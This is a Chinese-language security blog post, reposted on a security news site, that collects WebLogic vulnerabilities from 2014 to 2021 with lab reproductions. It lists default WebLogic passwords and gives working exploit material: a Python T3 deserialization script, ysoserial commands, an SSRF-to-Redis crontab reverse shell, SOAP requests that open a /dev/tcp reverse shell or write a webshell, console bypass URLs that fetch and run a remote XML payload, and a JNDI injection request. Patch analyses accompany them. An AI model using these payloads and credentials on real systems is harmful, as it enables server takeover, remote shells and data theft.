Weblogic 漏洞学习

admin 2022年1月6日01:46:41评论74 views字数 19955阅读66分31秒阅读模式

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVA EE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

基本信息

默认端口:7001 、7002

常见默认口令:

1
2
3
4
5
6
7
8
9
10
11
用户名:system          密码:password
用户名:weblogic       密码:weblogic 
用户名:admin           密码:security
用户名:portadmin     密码:portadmin
用户名:joe                密码:password
用户名:mary             密码:password
用户名:system          密码:security
用户名:system          密码:system
用户名:wlcsystem      密码:wlcsystem
用户名:wlpisystem     密码:wlpisystem
用户名:guest             密码:guest

常见的Weblogic版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
WebLogic Server 14c(14.1.1.0.0)-2020年4月3日
WebLogic Server 12c(12.1.1) - 2012年3月6日
WebLogic Server 12c(12.0) - 2011年12月1日
WebLogic Server 11gR1 PS5 (10.3.6) - 2012年2月23日
WebLogic Server 11gR1 PS4 (10.3.5) - 2011年5月6日
WebLogic Server 11gR1 PS3 (10.3.4) - 2011年1月15日
WebLogic Server 11gR1 PS2 (10.3.3) - 2010年四月
WebLogic Server 11gR1 PS1 (10.3.2) - 2009年11月
WebLogic Server 11g (10.3.1) - 2009年7月
WebLogic Server 10.3 - 2008年8月(J2EE6支持)
WebLogic Server 10.0 - 2007年3月(J2EE5支持)
WebLogic Server 9.2.4 - 2010年7月22(主要提升管理和运行管理的功能)
WebLogic Server 9.1
WebLogic Server 9.0 - 【Diablo】 2006年11月
WebLogic Server 8.1 -2003年7月发行到2004年8月为成熟版本,也已不再支持
WebLogic Server 7.0 -2002年6月发行但是BEA公司推荐放弃使用。
WebLogic Server 6.1 - 从November 2006不再支持
WebLogic Server 6.0 - 2001年3月,从April 2003不再支持
WebLogic Server 5.1 - (代码名: Denali) 第一个支持热部署技术的版本(通过命令行)
WebLogic Server 4.0 - 1999年
WebLogic Tengah 3.1 - 1998年6月
WebLogic Tengah 3.0.1 - 1998年3月
WebLogic Tengah 3.0 - 1998年1月
WebLogic Tengah - 1997年11月

SSRF(CVE-2014-4210)

漏洞描述:Oracle融合中间件10.0.2.0和10.3.6.0中Oracle WebLogic Server组件中未指定的漏洞允许远程攻击者通过与WLS-Web服务相关的向量影响机密性。

影响版本:10.0.2.0、10.3.6.0

SSRF漏洞测试
SSRF漏洞存在于 http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp, 我们在brupsuite下测试该漏洞。访问一个可以访问的IP:PORT,如http://127.0.0.1:80:

1
2
3
4
5
6
GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回did not have a valid SOAP content-type。
Weblogic 漏洞学习
修改为一个不存在的端口,将会返回could not connect over HTTP to server。

通过错误的不同,即可探测内网状态

注入HTTP头,利用Redis反弹shell
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.28.0.2:6379可以连通
发送三条redis命令,将弹shell脚本写入/etc/crontab:

1
2
3
4
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行URL编码
Weblogic 漏洞学习
注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:
Weblogic 漏洞学习
成功反弹shell

任意文件读取漏洞

弱口令
环境启动后,访问http://your-ip:7001/console,即为weblogic后台。

本环境存在弱口令:

1
2
weblogic
Oracle@123

任意文件读取漏洞的利用
假设不存在弱口令,如何对weblogic进行渗透?

本环境前台模拟了一个任意文件下载漏洞,访问http://your-ip:7001/hello/file.jsp?path=/etc/passwd可见成功读取passwd文件。那么,该漏洞如何利用?

读取后台用户密文与密钥文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

Weblogic 漏洞学习
config.xml是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的的值,即为加密后的管理员密码,不要找错了:

解密密文
然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文(或者参考这篇文章:http://cb.drops.wiki/drops/tips-349.html ,自己编译一个解密的工具):
ps: 一开始bp的字体为宋体没解密成功,后面改为黑体解密成功了?

可见,解密后和我预设的密码一致,说明成功。

后台上传webshell
获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:

点击安装,选择“上载文件”:

Weblogic 漏洞学习
上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的web/hello.war这个压缩包中,再上传。上传成功后点下一步。

填写应用名称:
Weblogic 漏洞学习
继续一直下一步,最后点完成。

应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了/hello这个目录,所以你要在本测试环境下部署shell,需要修改这个目录,比如修改成/jspspy):
Weblogic 漏洞学习
成功获取webshell:

CVE-2015-4852

漏洞描述:Oracle WebLogic Server 10.3.6.0、12.1.2.0、12.1.3.0和12.2.1.0中的WLS安全组件允许远程攻击者在与oracle_common/modules/com.bea.core.apache.commons.collections.jar.相关的T3协议流量中通过精心编制的序列化Java对象执行任意命令。注意:此CVE的范围仅限于WebLogicServer产品

影响版本:10.3.6.0、12.1.2.0、12.1.3.0和12.2.1.0

参考文章:WebLogic系列漏洞学习之T3:CVE-2015-4852

漏洞环境

Dockerfile

1
2
3
4
FROM vulhub/weblogic  
ENV debugFlag true
EXPOSE 7001
EXPOSE 8453

docker-compose.yml

1
2
3
4
5
6
7
version: '2'
services:
weblogic:
build: .
ports:
- "7001:7001"
- "8453:8453"

docker-compose up -d

漏洞复现
先生成反序列化文件

1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar  CommonsCollections1 "touch /tmp/success" > poc.ser

T3利用脚本 exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import binascii
import socket
import time

def exp(ip, port, file):
t3_header = 't3 10.3.6\nAS:255\nHL:19\n\n'
host = (ip, int(port))
# socket connect
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(15)
sock.connect(host)
# send t3 header
sock.send(t3_header.encode('utf-8'))
# time.sleep(1)
resp1 = sock.recv(1024)
# first part
data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
# second part, BIN -> HEX
with open(file, 'rb') as f:
payload = binascii.b2a_hex(f.read()).decode('utf-8')
# join
data = data1 + payload
# get lenth and join
data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
# a2b: HEX -> BIN
sock.send(binascii.a2b_hex(data))


if __name__ == '__main__':
exp('192.168.1.103','7001','D:\security\penetration\漏洞利用\java\weblogic\CVE-2015-4852\poc.ser')

远程调试

搭建环境复现的时候我们已经对容器开去了远程调试服务,下面只需要对本地IDEA环境进行部署。

首先从容器拷贝root目录,然后单独将相关的jar包拷贝出来

1
2
3
docker cp 容器id:/root .
mkdir jar_lib
find ./ -name *.jar -exec cp {} jar_lib/ \;

将上述 jar_lib 和 root 放到本地,然后用 IDEA 打开 root/Oracle/Middleware/wlserver_10.3,File->project Structure 将jar_lib加入libraries
Weblogic 漏洞学习
选择weblogic自带的jdk root/jdk/jdk1.6.0_45
Weblogic 漏洞学习
添加远程JVM
Weblogic 漏洞学习
在wlthint3client.jar:weblogic.rjvm.InboundMsgAbbrev:24行打断点

详细分析可看此文章 [WebLogic系列漏洞学习之T3:CVE-2015-4852]
tcpdump监听,然后运行脚本抓到了t3协议的流量。

1
tcpdump -i any -w dump.pcap

传输了序列化对象,知道ac ed 00 05是Java中序列化对象的特点,过滤下,并追踪tcp流
Weblogic 漏洞学习
Weblogic 漏洞学习
hex转储下,存在序列化数据

CVE-2016-0638

Weblogic 漏洞学习
由于CVE-2015-4852的修复是基于黑名单的,所以我们如果能找到一个对象,其可以在自己的readObject中创建自己的InputStream的对象,这个漏洞主要是找到了个黑名单之外的类”weblogic.jms.common.StreamMessageImpl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
super.readExternal(var1);
byte var2 = var1.readByte();
byte var3 = (byte)(var2 & 127);
if (var3 >= 1 && var3 <= 3) {
switch(var3) {
case 1:
this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);
BufferInputStream var4 = this.payload.getInputStream();
ObjectInputStream var5 = new ObjectInputStream(var4);
this.setBodyWritable(true);
this.setPropertiesWritable(true);

try {
while(true) {
this.writeObject(var5.readObject());
}
} catch (EOFException var9) {
try {
……

weblogic_cmd工具

这个工具直接当做IDEA的工程打开即可,配置application参数

详情可看此文章:https://www.anquanke.com/post/id/224343

CVE-2016-3510

weblogic.corba.utils.MarshalledObject 绕过黑名单。这个类的构造方法接收一个Object类型的参数var1,然后将传入的Object参数序列化后转换为byte数组的形式赋值给this.objBytes。MarshalledObject的readResolve方法将this.objBytes反序列化,并执行其readObject。this.objBytes可以由MarshalledObject构造方法中传入的var参数控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public MarshalledObject(Object var1) throws IOException {
if (var1 == null) {
this.hash = 13;
} else {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
MarshalledObject.MarshalledObjectOutputStream var3 = new MarshalledObject.MarshalledObjectOutputStream(var2);
var3.writeObject(var1);
var3.flush();
this.objBytes = var2.toByteArray();
int var4 = 0;

for(int var5 = 0; var5 < this.objBytes.length; ++var5) {
var4 = 31 * var4 + this.objBytes[var5];
}

this.hash = var4;
}
}

public Object readResolve() throws IOException, ClassNotFoundException, ObjectStreamException {
if (this.objBytes == null) {
return null;
} else {
ByteArrayInputStream var1 = new ByteArrayInputStream(this.objBytes);
ObjectInputStream var2 = new ObjectInputStream(var1);
Object var3 = var2.readObject();
var2.close();
return var3;
}
}

详情可看此文章:https://xz.aliyun.com/t/8529

CVE-2017-3248

CVE-2015-4852往后有一系列漏洞都是立足于对其补丁的绕过的,CVE-2017-3248也是其中之一。

WebLogic 使用这种黑名单的方式试图过滤掉危险的类的这种修复方式有一定的效果,但也存在被绕过的风险。根据学习,我了解到的绕过的思路有如下几种:一是找到可用且未在黑名单之内的新类(新类要能构造链实现任意代码执行),此时的payload为新的;二是找到一种类,这种类可以反序列化自身成员变量,此时可以封装旧的payload;三是找到未在黑名单之内的新反序列化点,此时可以发旧的payload。CVE-2016-3510和CVE-2016-0638主要是基于第二种思路, CVE-2017-3248 则是基于第三种思路,通过JRMP 协议达到执行任意反序列化 payload。

漏洞利用可以使用下面CVE-2018-2628的exp

详情可看此文章: https://www.anquanke.com/post/id/225137

CVE-2017-3506

漏洞利用:
工具:https://github.com/ianxtianxt/CVE-2017-3506

详情可看此文章:https://guokeya.github.io/post/TsCTC6Ohu/

补丁代码:
首先来看3506的补丁的分析,在文件 weblogic/wsee/workarea/WorkContextXmlInputAdapter.java中,
添加了validate方法,方法的实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
} catch (ParserConfigurationException var5) {
throw new IllegalStateException("Parser Exception", var5);
} catch (SAXException var6) {
throw new IllegalStateException("Parser Exception", var6);
} catch (IOException var7) {
throw new IllegalStateException("Parser Exception", var7);
}
}

简单来说就是在解析xml的过程中,如果Element字段值为Object就抛出异常,这简直太脑残了,所以马上就有了CVE-2017-10271。

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞(CVE-2017-10271)

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

CVE-2017-10271与3506他们的漏洞原理是一样的,只不过10271绕过了3506的补丁,我们来看下补丁是怎么处理的。

Weblogic 漏洞学习
图中红框内的代码是限制CVE-2017-3506漏洞利用的黑名单,这次补丁修补得非常的简陋,仅仅是根据POC中的object标签进行了修补,所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似,只是将object标签换成了array或void等标签,即可触发远程代码执行漏洞。因此,在CVE-2017-10271漏洞爆发之后,Oracle官方也进行了补丁的完善,这一次的补丁考虑得比较全面,在黑名单中又添加了new,method,void,array等关键字进行漏洞修补,成功防御了CVE-2017-10271漏洞。

漏洞复现

发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >& /dev/tcp/10.0.0.1/21 0>&1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

反弹shell:

写入webshell(访问:http://your-ip:7001/bea_wls_internal/test.jsp):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 638

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string>
<void method="println"><string>
<![CDATA[
<% out.print("test"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

Weblogic WLS Core Components 反序列化命令执行漏洞(CVE-2018-2628)

漏洞描述:Oracle融合中间件的Oracle WebLogic Server组件(子组件:WLS核心组件)中的漏洞。受影响的支持版本为10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3。容易攻击的漏洞允许未经身份验证的攻击者通过T3进行网络访问,从而危及Oracle WebLogic Server。成功攻击此漏洞可导致接管Oracle WebLogic Server。

影响版本:10.3.6.0、12.1.3.0、12.2.1.2和12.2.1.3

首先我们来看以下 CVE-2017-3248 这个漏洞的补丁(p24667634_1036_Generic),在weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass,这个resolveProxyClass只是对 RMI 接口类型进行了判断,判断 RMI 接口是否为java.rmi.registry.Registry,是的话抛出错误。
Weblogic 漏洞学习
这里,换个RMI 接口类型即可绕过这个补丁。可以使用java.rmi.activation.Activator来替代java.rmi.registry.Registry生成payload,即可绕过这个判断限制。
详情可看此文章:https://badcode.cc/2018/04/24/Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E6%BC%8F%E6%B4%9E-CVE-2018-2628-%E6%BC%AB%E8%B0%88/

漏洞复现
首先下载ysoserial,并启动一个JRMP Server:

1
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

其中,[command]即为我想执行的命令,而[listen port]是JRMP Server监听的端口。

然后,使用exploit.py脚本,向目标Weblogic(http://your-ip:7001 ) 发送数据包:

1
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port] [JRMPClient]

其中,[victim ip][victim port]是目标weblogic的IP和端口,[path to ysoserial]是本地ysoserial的路径,[JRMPListener ip][JRMPListener port]第一步中启动JRMP Server的IP地址和端口。[JRMPClient]是执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2。

exploit.py执行完成后,执行docker-compose exec weblogic bash进入容器中,可见/tmp/success已成功创建。

官方放出了10271的补丁,补丁如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if(qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if(qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if(qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if(qName.equalsIgnoreCase("void")) {
for(int attClass = 0; attClass < attributes.getLength(); ++attClass) {
if(!"index".equalsIgnoreCase(attributes.getQName(attClass))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(attClass));
}
}
}
if(qName.equalsIgnoreCase("array")) {
String var9 = attributes.getValue("class");
if(var9 != null && !var9.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}

这个补丁限定了object,new,method,void,array等字段,就限定了不能生成java 实例。

WebLogic WLS核心组件反序列化漏洞(CVE-2018-2893)

漏洞利用
工具下载

详情可看 天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

CVE-2018-3245

工具下载:https://github.com/pyn3rd/CVE-2018-3245
Weblogic JRMP反序列化及绕过分析

任意文件上传漏洞(CVE-2018-2894)

漏洞描述:Oracle融合中间件的Oracle WebLogic Server组件(子组件:WLS-Web服务)中的漏洞。受影响的支持版本是12.1.3.0、12.2.1.2和12.2.1.3。容易攻击的漏洞允许未经身份验证的攻击者通过HTTP进行网络访问,从而危及Oracle WebLogic Server。成功攻击此漏洞可导致接管Oracle WebLogic Server。CVSS3.0基础得分9.8(保密性、完整性和可用性影响)。Oracle 7月更新中,修复了Weblogic Web Service Test Page中一处任意文件上传漏洞,Web Service Test Page 在“生产模式”下默认不开启,所以该漏洞有一定限制。利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。

影响版本:12.1.3.0、12.2.1.2和12.2.1.3

漏洞环境
执行如下命令,启动weblogic 12.2.1.3:

1
docker-compose up -d

环境启动后,访问http://your-ip:7001/console,即可看到后台登录页面。

执行docker-compose logs | grep password可查看管理员密码,管理员用户名为weblogic。

登录后台页面,点击base_domain的配置,在“高级”中开启“启用 Web 服务测试页”选项

漏洞复现
访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我将目录设置为ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。

然后点击安全 -> 增加,然后上传webshell:
Weblogic 漏洞学习
上传后,查看返回的数据包,其中有时间戳:
Weblogic 漏洞学习
然后访问http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名],即可执行webshell:

漏洞原理可看此文章:https://xz.aliyun.com/t/2458

CVE-2019-2725

漏洞分析:CVE-2019-2725 分析

详细的补丁如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private void validate(InputStream is) {
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try {
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler() {
private int overallarraylength = 0;
public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid element qName:object");
} else if (qName.equalsIgnoreCase("class")) {
throw new IllegalStateException("Invalid element qName:class");
} else if (qName.equalsIgnoreCase("new")) {
throw new IllegalStateException("Invalid element qName:new");
} else if (qName.equalsIgnoreCase("method")) {
throw new IllegalStateException("Invalid element qName:method");
} else {
if (qName.equalsIgnoreCase("void")) {
for(int i = 0; i < attributes.getLength(); ++i) {
if (!"index".equalsIgnoreCase(attributes.getQName(i))) {
throw new IllegalStateException("Invalid attribute for element void:" + attributes.getQName(i));
}
}
}
if (qName.equalsIgnoreCase("array")) {
String attClass = attributes.getValue("class");
if (attClass != null && !attClass.equalsIgnoreCase("byte")) {
throw new IllegalStateException("The value of class attribute is not valid for array element.");
}
String lengthString = attributes.getValue("length");
if (lengthString != null) {
try {
int length = Integer.valueOf(lengthString);
if (length >= WorkContextXmlInputAdapter.MAXARRAYLENGTH) {
throw new IllegalStateException("Exceed array length limitation");
}
this.overallarraylength += length;
if (this.overallarraylength >= WorkContextXmlInputAdapter.OVERALLMAXARRAYLENGTH) {
throw new IllegalStateException("Exceed over all array limitation.");
}
} catch (NumberFormatException var8) {
……

CVE-2019-2729

详情可看此文章:cve-2019-2729挖掘思路 - cve-2019-2725 bypass

补丁:
Oracle选择使用白名单而不是黑名单。 通过新引入的validateFormat()函数来实现,其中白名单规则在WorkContextFormatInfo中定义 。

Weblogic远程代码执行漏洞(CVE-2020-2546)

漏洞描述:该漏洞通过T3协议实现利用、攻击者可通过此漏洞实现远程代码执行.

影响版本:WebLogic Server 10.3.6.0.0 、WebLogic Server 12.1.3.0.0

Weblogic IIOP反序列化漏洞(CVE-2020-2551)

Weblogic IIOP 协议NAT 网络绕过

管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本:

1
2
3
4
5
Oracle WeblogicServer 10.3.6.0.0
Oracle WeblogicServer 12.1.3.0.0
Oracle WeblogicServer 12.2.1.3.0
Oracle WeblogicServer 12.2.1.4.0
Oracle WeblogicServer 14.1.1.0.0

漏洞复现
首先测试权限绕过漏洞(CVE-2020-14882),访问以下URL,即可未授权访问到管理后台页面:

1
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

访问后台后,可以发现我们现在是低权限的用户,无法安装应用,所以也无法直接执行任意代码:

此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

1
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

进入容器,可以发现touch /tmp/success1已成功执行:

这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。

com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上,如http://example.com/rce.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/success2]]></value>
</list>
</constructor-arg>
</bean>
</beans>

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

1
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

CVE-2021-2109

JNDIExploit工具下载

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 本地ip -p http监听端口

Weblogic 漏洞学习
命令执行poc:

1
2
3
4
5
6
7
8
9
10
GET  /console/css/%252e%252e%252f/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.124;13:1389/Basic/WeblogicEcho;AdminServer%22) HTTP/1.1
Host: 192.168.124.11:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
cmd:id
Cookie: ADMINCONSOLESESSION=yWWFg11WL9ZGG2HPTwQ7FCQ11vptGWvhMLNJTp6TjJV8Vnvy17KS!1320888643
Upgrade-Insecure-Requests: 1

参考文章:

Weblogic相关漏洞
Weblogic 管理控制台未授权远程命令执行漏洞
从Weblogic原理上探究CVE-2015-4852、CVE-2016-0638、CVE-2016-3510究竟怎么一回事
Weblogic 反序列漏洞 CVE-2018-2628 漫谈
天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析

FROM :blog.cfyqy.com | Author:cfyqy

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:46:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Weblogic 漏洞学习https://cn-sec.com/archives/722736.html

发表评论

匿名网友 填写信息